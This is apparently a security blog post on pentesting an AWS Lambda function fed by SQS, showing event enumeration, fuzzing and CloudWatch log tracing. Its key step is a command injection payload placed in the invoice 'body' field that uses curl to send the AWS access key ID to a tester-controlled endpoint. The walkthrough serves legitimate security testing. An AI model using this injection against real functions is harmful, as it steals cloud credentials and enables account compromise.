Lambda Event Assessment and Pentesting – Invoke, Trace and Dissect (Part 2)

In the last blog post, we talked about the basic methodology for lambda testing where we covered enumeration, profiling and invocation. We can do a quick fuzzing of the lambda function by passing a set of payloads. Lambda functions can be used to build micro services, which get incorporated into the web applications as part of the architecture. These functions can be called in both synchronous as well as asynchronous manners depending on the architectural requirement. In this blog post, we are going to cover another aspect of testing lambda functions  which mainly compromises of  leveraging CloudWatch logs while performing penetration testing.

Architecture of Application with Lambda:

 

Let’s take a real life scenario as shown in the below figure. In this case, there is a web application (enterprise financial application) that is used from various devices like mobile or computers across the globe. API's are also used to extend the use of the application such that it can be leveraged by third party like suppliers, vendors, customers etc. As shown in the application architecture, various AWS components are used by the web application.


Figure 1 – Invoice Processing System for a Financial Application

Let’s take a simple use case scenario:

• The users of the application submit an invoice for processing through the web or API where they perform various activities like uploading a file, providing the file name, other basic information etc.
• The web application in turn calls the lambda function which triggers the activities across the AWS components (Amazon S3 and DynamoDB)
• Once everything is in place, based on scheduling, the message gets posted to Amazon SQS service for asynchronous processing
• At some point in time, SQS triggers the second lambda function via queue to process the invoice. This queue provides the invoice file to the lambda function which processes the invoice. It does the needful and gets the task done.

If we look at the threat model for the above components, one of the important areas to check is the asynchronous lambda function, which is processing the SQS message.

Let’s do the testing of that function and see what kind of issues we can discover.

Function Integration with other Services:

We can go ahead and enumerate the function details as mentioned in the last blog post. We get the following response and profile for the function. We get basic information like technology stack, permissions, role, code and mapping.



We can see this function is being integrated to SQS service. Here is its mapping:-

---Function Mapping---
[{'UUID': '5cc9f6a9-2b39-41df-9d09-e7adbf3d9305', 'BatchSize': 10, 'EventSourceArn': 'arn:aws:sqs:us-east-2:313588302550:processInvoice', 'FunctionArn': 'arn:aws:lambda:us-east-2:313588302550:function:processInvoice', 'LastModified': datetime.datetime(2018, 8, 10, 15, 32, 32, 867000, tzinfo=tzlocal()), 'State': 'Disabled', 'StateTransitionReason': 'USER_INITIATED'}]

Hence, we can start injecting messaging or SQS events to this function and see how it responds. Before that let’s take a quick look at the AWS console. Here is the SQS position on the AWS console at a given point in time.



We can look at the log for the lambda function for which the trigger is being set for the queue.
 

We can clearly see the event being fired and the message received and processed by the function.

Testing the Function and Tracing:

We can now directly test the function by supplying various values, which are controlled by the user. Below is a sample of the event body. The “body” is controlled by the user, which makes it an interesting area to fuzz.

{
  "Records": [
    {
      "body": "invoice-98790",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}

We can use the following code to invoke the function where the event is taken from the file.

 

We get the following output

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 9dc6aa67-9f9b-11e8-924a-99f63ade1b6b
    (-) Response ==>
    (-) "Invoice processing done!"

We can use the Request Id to trace the log and see what went behind the scene. Let’s use the following code and enumerate CloudWatch logs for the call.

We can pass on the function name and see the results. We can see the last entries and can compare it with the Request Id. Here is the entry for that Request Id: -

 

We can fuzz stream and try different things here and analyse the responses. For example we pass on the following message: -

{
  "Records": [
    {
      "body": "junkname",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}

We invoke the function and see a different response.

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> f9e61f20-9f9d-11e8-99aa-59c2b3fe1ba2
    (-) Response ==>
    (-) "Invoice processing done!"

We can see entries in the log.

 

Looks like it is trying to open the file. Now, we can try using different variations and try to figure out the vulnerability. In the previous legitimate request, we saw a line where it returned file’s content type. Hence, it may be using some underlying OS command to fetch the file content type. We try to do command injection here and see what response we get. Since, we are not getting synchronous response with some message back - we can try injecting following the command: –

Invoice-98790;url='https://API-ID.execute-api.us-east-2.amazonaws.com/listen?dump='$AWS_ACCESS_KEY_ID;curl $url

Here, we are passing the URL and trying to extract the AWS access key. Once it is extracted, we use cURL to send the URL to a different location. We can go and see the logs and see the response since that URL is controlled by us. If the command gets executed successfully then we know it is indeed vulnerable.

Here is the message event we try to inject.

 

We have a listener mock over the target URL. It will collect the information if the command gets successfully executed. Let’s invoke the function and monitor the API logs -

 

Hence, this way the vulnerability is detected. We can see the code and find the following line using standard SAST approach as well.

 

Conclusion:

Lambda function testing is relatively simple when we focus on fuzzing the event and injecting the payload directly through AWS APIs. It is imperative to identify threat points and fuzz with the right payloads at the right place. Some of these events are not synchronous and are triggered in various different ways, so it is not possible to simulate them like an actual event fired from different sources. It is easy to do direct simulation like we did in the above case. Also, there are different data collection points for AWS function - we have covered DAST and SAST in this case. We can leverage IAST/instrumentation via X-Ray or other methods provided by specific languages, which will be covered  in the coming blog post.

Article by Amish Shah & Shreeraj Shah